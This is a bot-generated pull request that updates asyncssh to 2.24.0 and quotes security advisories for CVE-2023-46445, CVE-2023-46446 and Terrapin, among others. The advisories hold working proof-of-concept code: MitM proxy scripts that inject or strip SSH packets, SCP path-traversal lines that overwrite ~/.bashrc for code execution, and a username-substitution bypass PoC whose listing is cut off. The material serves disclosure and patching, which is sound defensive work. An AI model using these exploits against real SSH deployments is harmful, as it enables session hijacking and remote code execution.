Skip to content

Update dependency asyncssh to v2.24.0 [SECURITY] - #54

Open
konflux-internal-p02[bot] wants to merge 1 commit into
release-9.0from
konflux/mintmaker/release-9.0/pypi-asyncssh-vulnerability
Open

konflux-internal-p02[bot] wants to merge 1 commit into
release-9.0from
konflux/mintmaker/release-9.0/pypi-asyncssh-vulnerability

Conversation

@konflux-internal-p02

@konflux-internal-p02 konflux-internal-p02 Bot commented Nov 12, 2026 •

Copy link
Copy Markdown

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
asyncssh ==2.9 → ==2.24.0 age confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.


AsyncSSH Rogue Session Attack

CVE-2023-46446 / GHSA-c35q-ffpf-5qpm / PYSEC-2023-239

More information

Details

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Details

The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.

The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.

PoC
AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep

##################################################################################
## Proof of Concept for the rogue session attack (ChaCha20-Poly1305)            ##
##                                                                              ##
## Variant: Unmodified variant (EXT_INFO by client required)                    ##
##                                                                              ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                 ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                 ##
##                                                                              ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################

# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222

# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22

# Length of the individual messages
NEW_KEYS_LENGTH = 16
CLIENT_EXT_INFO_LENGTH = 60
# Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)
ADDITIONAL_CLIENT_DATA_LENGTH = 60

newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
    return newkeys_payload in data

rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert_rogue_authentication_request(data):
    newkeys_index = data.index(newkeys_payload)
    # Insert rogue authentication request and remove SSH_MSG_EXT_INFO
    return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]

def forward_client_to_server(client_socket, server_socket):
    delay_next = False
    try:
        while True:
            client_data = client_socket.recv(4096)
            if delay_next:
                delay_next = False
                sleep(0.25)
            if contains_newkeys(client_data):
                print("[+] SSH_MSG_NEWKEYS sent by client identified!")
                if len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:
                    print("[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!")
                while len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:
                    client_data += client_socket.recv(4096)
                print(f"[d] Original client_data before modification: {client_data.hex()}")
                client_data = insert_rogue_authentication_request(client_data)
                print(f"[d] Modified client_data with rogue authentication request: {client_data.hex()}")
                delay_next = True
            if len(client_data) == 0:
                break
            server_socket.send(client_data)
    except ConnectionResetError:
        print("[!] Client connection has been reset. Continue closing sockets.")
    print("[!] forward_client_to_server thread ran out of data, closing sockets!")
    client_socket.close()
    server_socket.close()

def forward_server_to_client(client_socket, server_socket):
    try:
        while True:
            server_data = server_socket.recv(4096)
            if len(server_data) == 0:
                break
            client_socket.send(server_data)
    except ConnectionResetError:
        print("[!] Target connection has been reset. Continue closing sockets.")
    print("[!] forward_server_to_client thread ran out of data, closing sockets!")
    client_socket.close()
    server_socket.close()

if __name__ == '__main__':
    print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---")
    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    mitm_socket.bind((PROXY_IP, PROXY_PORT))
    mitm_socket.listen(5)

    print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")

    try:
        while True:
            client_socket, client_addr = mitm_socket.accept()
            print(f"[+] Accepted connection from: {client_addr}")
            print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_socket.connect((SERVER_IP, SERVER_PORT))
            print("[+] Spawning new forwarding threads to handle client connection.")
            Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
            Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
    except KeyboardInterrupt:
        client_socket.close()
        server_socket.close()
        mitm_socket.close()
Impact

The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


AsyncSSH Rogue Extension Negotiation

CVE-2023-46445 / GHSA-cfc2-wr2v-gxm5 / PYSEC-2023-237

More information

Details

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC
AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)
 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 ##                                                                                 ##
 ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
 ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
 ##                                                                                 ##
 ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 # IP and port for the TCP proxy to bind to
 PROXY_IP = '127.0.0.1'
 PROXY_PORT = 2222
 
 # IP and port of the server
 SERVER_IP = '127.0.0.1'
 SERVER_PORT = 22
 
 # Length of the individual messages
 NEW_KEYS_LENGTH = 16
 SERVER_EXT_INFO_LENGTH = 676
 
 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
 def contains_newkeys(data):
     return newkeys_payload in data
 
 # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue_ext_info = unhexlify('0000000C060700000000000000000000')
 def insert_rogue_ext_info(data):
     newkeys_index = data.index(newkeys_payload)
     # Insert rogue extension info and remove SSH_MSG_EXT_INFO
     return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
 
 def forward_client_to_server(client_socket, server_socket):
     try:
         while True:
             client_data = client_socket.recv(4096)
             if len(client_data) == 0:
                 break
             server_socket.send(client_data)
     except ConnectionResetError:
         print("[!] Client connection has been reset. Continue closing sockets.")
     print("[!] forward_client_to_server thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 def forward_server_to_client(client_socket, server_socket):
     try:
         while True:
             server_data = server_socket.recv(4096)
             if contains_newkeys(server_data):
                 print("[+] SSH_MSG_NEWKEYS sent by server identified!")
                 if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     server_data += server_socket.recv(4096)
                 print(f"[d] Original server_data before modification: {server_data.hex()}")
                 server_data = insert_rogue_ext_info(server_data)
                 print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}")
             if len(server_data) == 0:
                 break
             client_socket.send(server_data)
     except ConnectionResetError:
         print("[!] Target connection has been reset. Continue closing sockets.")
     print("[!] forward_server_to_client thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 if __name__ == '__main__':
     print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
     mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     mitm_socket.bind((PROXY_IP, PROXY_PORT))
     mitm_socket.listen(5)
 
     print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
 
     try:
         while True:
             client_socket, client_addr = mitm_socket.accept()
             print(f"[+] Accepted connection from: {client_addr}")
             print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
             server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             server_socket.connect((SERVER_IP, SERVER_PORT))
             print("[+] Spawning new forwarding threads to handle client connection.")
             Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
             Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
     except KeyboardInterrupt:
         client_socket.close()
         server_socket.close()
         mitm_socket.close()
Impact

Algorithm downgrade during user authentication.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2023-46445 / GHSA-cfc2-wr2v-gxm5 / PYSEC-2023-237

More information

Details

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2023-46446 / GHSA-c35q-ffpf-5qpm / PYSEC-2023-239

More information

Details

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC

GHSA-hfmc-7525-mj55

More information

Details

Summary

AsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.

Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version.

Warning: To take effect, both the client and server must support this countermeasure.

As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.

Details

The SSH specifications of ChaCha20-Poly1305 ([email protected]) and Encrypt-then-MAC (*[email protected] MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.

The attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.

For more details and a pre-print of the associated research paper, see https://terrapin-attack.com. This website is not affiliated with AsyncSSH in any way.

PoC
Extension Negotiation Downgrade Attack (chacha20-poly1305@​openssh.com)
#!/usr/bin/python3
import socket
from binascii import unhexlify
from threading import Thread
from time import sleep

#####################################################################################

##### Proof of Concept for the extension downgrade attack                             ##
#####                                                                                 ##

##### Variant: ChaCha20-Poly1305                                                      ##
#####                                                                                 ##

##### Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79                                    ##
##### Server(s) tested: OpenSSH 9.5p1                                                 ##

#####                                                                                 ##
##### Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##

#####################################################################################

##### IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222

##### IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22

LENGTH_FIELD_LENGTH = 4

def pipe_socket_stream(in_socket, out_socket):
  try:
      while True:
          data = in_socket.recv(4096)
          if len(data) == 0:
              break
          out_socket.send(data)
  except ConnectionResetError:
      print("[!] Socket connection has been reset. Closing sockets.")
  except OSError:
      print("[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.")
  in_socket.close()
  out_socket.close()

rogue_msg_ignore = unhexlify('0000000C060200000000000000000000')
def perform_attack(client_socket, server_socket):
  # Version exchange
  client_vex = client_socket.recv(255)
  server_vex = server_socket.recv(255)
  client_socket.send(server_vex)
  server_socket.send(client_vex)
  # SSH_MSG_KEXINIT
  client_kexinit = client_socket.recv(35000)
  server_kexinit = server_socket.recv(35000)
  client_socket.send(server_kexinit)
  server_socket.send(client_kexinit)
  # Client will now send the key exchange INIT
  client_kex_init = client_socket.recv(35000)
  server_socket.send(client_kex_init)
  # Insert ignore message (to client)
  client_socket.send(rogue_msg_ignore)
  # Wait half a second here to avoid missing EXT_INFO
  # Can be solved by counting bytes as well
  sleep(0.5)
  # KEX_REPLY / NEW_KEYS / EXT_INFO
  server_response = server_socket.recv(35000)
  # Strip EXT_INFO before forwarding server_response to client
  # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted
  server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH])
  server_newkeys_start = server_kex_reply_length
  server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH])
  server_extinfo_start = server_newkeys_start + server_newkeys_length
  client_socket.send(server_response[:server_extinfo_start])

if __name__ == '__main__':
  print("--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---")
  mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  mitm_socket.bind((PROXY_IP, PROXY_PORT))
  mitm_socket.listen(5)

  print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
  try:
      while True:
          client_socket, client_addr = mitm_socket.accept()
          print(f"[+] Accepted connection from: {client_addr}")
          print(f"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.")
          server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          server_socket.connect((SERVER_IP, SERVER_PORT))
          print("[+] Performing extension downgrade")
          perform_attack(client_socket, server_socket)
          print("[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.")
          forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True)
          forward_client_to_server_thread.start()
          forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True)
          forward_server_to_client_thread.start()
  except KeyboardInterrupt:
      client_socket.close()
      server_socket.close()
      mitm_socket.close()
Impact

This attack targets the specification of ChaCha20-Poly1305 ([email protected]) and Encrypt-then-MAC (*[email protected]), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


asyncssh has SCP Path Traversal to Arbitrary File Write

CVE-2026-54591 / GHSA-2wxc-x7rj-hg8f / PYSEC-2026-3808

More information

Details

Product asyncssh (all versions through 2.23.0)
Related CVE-2019-6111 (same class in OpenSSH)
Fix AsyncSSH 2.23.1

A malicious SSH server can write arbitrary files on the asyncssh SCP client's filesystem by sending filenames containing ../ traversal sequences. The SCP receive path does not currently sanitize server-provided filenames. By chaining directory traversals via the D (directory) action, an attacker can escape any target directory and overwrite ~/.bashrc, ~/.ssh/rc, or ~/.ssh/authorized_keys, achieving code execution. This is the same vulnerability class as CVE-2019-6111. The mitigation applied in OpenSSH does not appear to have been adopted in asyncssh.


Steps to exploit:

Step 1 - Normal usage: Application calls await asyncssh.scp((conn, 'file'), '/home/user/downloads/'). This is the standard, documented API.

Step 2 - SCP protocol: asyncssh opens an SSH exec channel, runs scp -f file. The server controls the filename field:

C0644 100 ../pwned.txt\n       (simple traversal)

D0755 0 ..\n                   (traverse up, repeat as needed)
C0644 47 .bashrc\n             (write payload)
E\n

Step 3 - _parse_cd_args (scp.py:134-142) returns the filename verbatim:

def _parse_cd_args(args: bytes) -> Tuple[int, int, bytes]:
    permissions, size, name = args.split(None, 2)
    return int(permissions, 8), int(size), name  # no sanitization

The returned name is not passed through basename() and is not checked for .. or / components.

Step 4 - _recv_files (scp.py:706-713) joins the unsanitized name:

new_dstpath = posixpath.join(dstpath, name)

With dstpath=b'/home/user/downloads/subdir' and name=b'../pwned.txt', this resolves to /home/user/downloads/pwned.txt, outside the target.

Step 5 - File write: _recv_file opens the traversed path via self._fs.open(dstpath, 'wb') and writes attacker-controlled content. The resolved path is not checked against the target directory boundary.

Step 6 - RCE chains:

Target Execution trigger Reliability
~/.bashrc Next terminal open High
~/.profile Next login High
~/.ssh/rc Next SSH connection (requires sshd) High
~/.ssh/authorized_keys Attacker logs in with command= Medium

Reproduction:

Link to reproduction script: path_traversal_poc.zip

docker build -t asyncssh-scp-traversal -f Dockerfile .
docker run --rm asyncssh-scp-traversal

The attached poc_scp_traversal.py starts a malicious SSH server in-process using asyncssh's own API, then downloads from it via asyncssh.scp().

Expected Output:

image

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution

CVE-2026-54590 / GHSA-qr67-gv47-xwwh / PYSEC-2026-3809

More information

Details

Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.

Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).

Summary

The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:

  if self._user == '..' or '/' in self._user or '\\' in self._user:
      raise IllegalUserName('Unsafe username substitution')

However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.

The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.

Primary vector — leading ~

A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.

Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)

Impact and limitations

  • Demonstrated (verified against source at a60f863): the guard is
    bypassable and the authorized-keys lookup is redirected to an
    attacker-named home tree, pre-auth, with a separator-free username.
  • Impact model = identical to CVE-2026-45309: authenticating as the
    redirected username when a readable authorized-keys file containing
    the attacker's key is reachable at the redirected location. The parent
    CVE accepted this exact precondition and was scored C:N/I:H/A:N;
    this is scored consistently.
  • Not built: a live multi-account SSH auth harness; the PoC verifies
    the path-redirection mechanism in-process, deterministically. No new
    primitive is claimed beyond the parent CVE's accepted model — only
    that the 2.23.0 fix does not close it for ~/${ENV}.
  • Preconditions (captured by AC:H): %u must be the leading path
    component; on Python 3.13, Path('~nonexistentuser').expanduser()
    raises RuntimeError, so only existing accounts are reachable
    (confirmed: asyncssh 2.23.0, Python 3.13.12).

Secondary vector — ${ENV} (defense-in-depth only)

A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.

Reproduction

In-process, deterministic, no network. Against a checkout of asyncssh
2.23.0:

  cd /path/to/asyncssh
  PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py

Output (abridged):

  [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)
      literal-slash user '/etc' blocked:           True
  [A] tilde bypass  user '~root':
      guard blocks it? False        (False == bypass)
      expanded config value : ['~root/.ssh/authorized_keys']
      after expanduser()    : /root/.ssh/authorized_keys   <-- read  as authorized_keys
  VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)

Suggested fix

Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.

Disclosure

Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.

PoC source

(see code block below)

 #!/usr/bin/env python3
  """
  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
  control). Local-only, in-process, deterministic. No network.

  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
  SSHServerConfig._set_tokens that rejects a client username containing
  '/', '\\', or equal to '..' before it is substituted for the %u token in
  the server's AuthorizedKeysFile directive.

  This PoC shows the blocklist is bypassable: the %u value is afterwards run
  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
  re-introduce the path control the guard was meant to remove.

  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
  a separator-free username (e.g. '~root') escape to another home tree when %u
  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
  only REFERENCE env vars that already exist on the server and cannot control
  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
  illustrate the expansion, and does NOT represent attacker capability. Treat (1)
  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.

  Run from a checkout of asyncssh (cwd on sys.path), e.g.:
      cd /tmp/targets/asyncssh && python3 <thisfile>
  """

  import os
  import sys
  import tempfile
  from pathlib import Path

  import asyncssh
  from asyncssh.config import SSHServerConfig

  try:
      from asyncssh.misc import IllegalUserName
  except Exception:  # pragma: no cover
      IllegalUserName = asyncssh.IllegalUserName

  def expand_authkeys(user, cfg_text):
      """Load a server config exactly as SSHServerConnection does and return the
      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
      CVE-2026-45309 guard fires."""
      with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
          f.write(cfg_text)
          cfg_path = f.name
      try:
          # mirror connection.py:8897
          #   SSHServerConfig.load(last_config, config, reload, canonical, final,
          #                        accept_addr, accept_port, username,
          #                        client_host, client_addr)
          cfg = SSHServerConfig.load(
              None, cfg_path, True, False, False,
              "127.0.0.1", 22, user, "client.example", "203.0.113.7",
          )
          return cfg.get("AuthorizedKeysFile")
      finally:
          os.unlink(cfg_path)

  def guard_blocks(user, cfg_text):
      """Return True if the CVE-2026-45309 guard rejects this username."""
      try:
          expand_authkeys(user, cfg_text)
          return False
      except IllegalUserName:
          return True

  def main():
      print(f"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})")
      print(f"# python {sys.version.split()[0]}\n")

      results = []

      # ---- Sanity 0: benign username expands normally -----------------------
      cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
      val = expand_authkeys("alice", cfg)
      print(f"[0] benign user 'alice':            {val}")
      results.append(("benign expands to per-user path",
                      val == ["/etc/ssh/authorized_keys.d/alice"]))

      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
      blocked = guard_blocks("../../../../tmp/evil", cfg)
      print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
      results.append(("original CVE traversal is blocked (fix present)", blocked))

      # also: a literal slash is blocked (the guard's whole purpose)
      slash_blocked = guard_blocks("/etc", cfg)
      print(f"    literal-slash user '/etc' blocked: {slash_blocked}")
      results.append(("literal-slash username is blocked", slash_blocked))

      print()

      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
      cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
      blocked_a = guard_blocks("~root", cfg_a)
      val_a = expand_authkeys("~root", cfg_a)
      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does
      print(f"[A] tilde bypass  user '~root':")
      print(f"    guard blocks it? {blocked_a}   (False == bypass)")
      print(f"    expanded config value : {val_a}")
      print(f"    after expanduser()    : {resolved_a}   <-- read as authorized_keys")
      results.append(("A: ~user NOT blocked by guard", not blocked_a))
      results.append(("A: expanduser() redirects to another home tree",
                      resolved_a.startswith("/root/") or "~" not in resolved_a))

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '$':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b} (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

